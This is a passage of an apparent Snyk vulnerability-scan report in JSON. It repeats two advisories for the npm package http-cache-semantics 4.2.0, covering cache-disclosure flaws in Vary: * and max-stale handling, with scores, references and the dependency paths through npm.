"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
